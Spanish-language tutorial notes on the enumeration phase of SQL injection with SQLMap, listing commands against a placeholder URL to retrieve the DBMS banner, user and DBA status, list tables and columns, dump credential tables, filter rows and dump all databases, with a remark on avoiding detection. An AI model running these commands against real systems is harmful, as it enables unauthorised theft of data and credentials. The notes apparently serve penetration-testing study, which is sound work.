🗄️ Enumeración de Bases de Datos con SQLMap
La enumeración es la fase central de un ataque SQLi, donde se extrae (exfiltra) información de la base de datos una vez confirmada la vulnerabilidad.
🎯 ¿Qué es la Enumeración?
La enumeración ocurre después de confirmar que una inyección SQL es explotable.
Su objetivo es buscar y recuperar toda la información disponible del DBMS vulnerable.
Incluye, entre otros:
-
📛 Versión del DBMS
-
👤 Usuario actual
-
🗄️ Bases de datos
-
📋 Tablas
-
📑 Columnas
-
🔐 Credenciales / hashes
-
📦 Datos completos de las tablas
👉 Es la fase donde realmente “sacas datos”.
📤 Exfiltración de Datos en SQLMap
SQLMap no improvisa consultas:
tiene un conjunto predefinido de queries para cada DBMS soportado.
Estas consultas están definidas internamente en archivos como queries.xml.
🧠 Ejemplo interno (MySQL)
<dbms value="MySQL">
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
</dbms>
SQLMap elige automáticamente la consulta correcta según:
-
El DBMS detectado
-
El tipo de SQLi (blind, union, error-based, etc.)
📌 Ejemplos prácticos
| Opción SQLMap | Consulta ejecutada |
|---|---|
--banner |
VERSION() |
--current-user |
CURRENT_USER() |
--current-db |
DATABASE() |
👥 Enumeración de usuarios (Blind vs Inband)
-
Inband (UNION / error-based)
➜ Los datos vienen directamente en la respuesta -
Blind
➜ SQLMap extrae datos bit a bit, fila por fila (mucho más lento)
👉 SQLMap decide automáticamente qué método usar.
🧱 Enumeración Básica de la Base de Datos
La enumeración suele empezar por:
-
🏷️ Banner del DBMS (
--banner) -
👤 Usuario actual (
--current-user) -
🗄️ Base de datos actual (
--current-db) -
👑 Privilegios DBA (
--is-dba)
🛠️ Comando típico
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Aparece el banner y el current user user1 y el base de datos actual testdb
🧠 ¿Qué hace SQLMap aquí?
-
Reutiliza la SQLi ya detectada
-
No vuelve a testear vulnerabilidades
-
Pasa directamente a extraer información
📊 Ejemplo de resultados
-
DBMS: MySQL ≥ 5.0
-
Versión: 5.1.41 (muy antigua ⚠️)
-
Usuario:
root@% -
Base de datos:
testdb -
Privilegios DBA: ✅ Sí
El usuario root del DBMS
❌ NO es el root del sistema operativo
Ser DBA solo implica control total de la base de datos, no del sistema.
📋 Enumeración de Tablas
Una vez conocido el nombre de la base de datos (testdb), el siguiente paso es listar sus tablas.
🛠️ Listar tablas
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
📊 Ejemplo de salida

👉 Aquí decides qué tabla te interesa atacar.
📦 Dump de una Tabla
Una vez elegida la tabla (users), puedes volcar su contenido.
🛠️ Dump completo
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

📊 Resultado
-
Se muestran los datos en consola

-
SQLMap guarda automáticamente un archivo:
- 📄 CSV por defecto
📂 Ruta típica:
~/.local/share/sqlmap/output/...
Puedes cambiar el formato de salida:
-
--dump-format=CSV -
--dump-format=HTML -
--dump-format=SQLITE
🎯 Enumeración Selectiva (Columnas / Filas)
Cuando la tabla es grande, no conviene dumpear todo.
Listar columnas
sqlmap -u "http://www.example.com/?id=1" --columns -T users -D testdb
🔤 Seleccionar columnas
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
👉 Solo extrae las columnas indicadas.
🔢 Limitar filas
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
👉 Útil para:
-
Bases de datos enormes
-
Evitar ruido innecesario
🔎 Enumeración Condicional (WHERE)
Si conoces una condición SQL, puedes filtrar resultados.
🛠️ Ejemplo con WHERE
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
👉 Solo devuelve filas que cumplan la condición.
🗃️ Enumeración Completa
📦 Dump de toda la base de datos
sqlmap -u "http://www.example.com/?id=1" --dump -D testdb
🌍 Dump de TODAS las bases de datos
sqlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs
--exclude-sysdbs evita bases internas como:
-
information_schema -
mysql -
performance_schema
🧠 Conclusión
-
Es la fase más importante del SQLi
-
SQLMap automatiza consultas específicas por DBMS
-
Se puede:
-
Enumerar poco a poco
-
O volcar todo (si el entorno lo permite)
-
-
La enumeración inteligente evita ruido y detección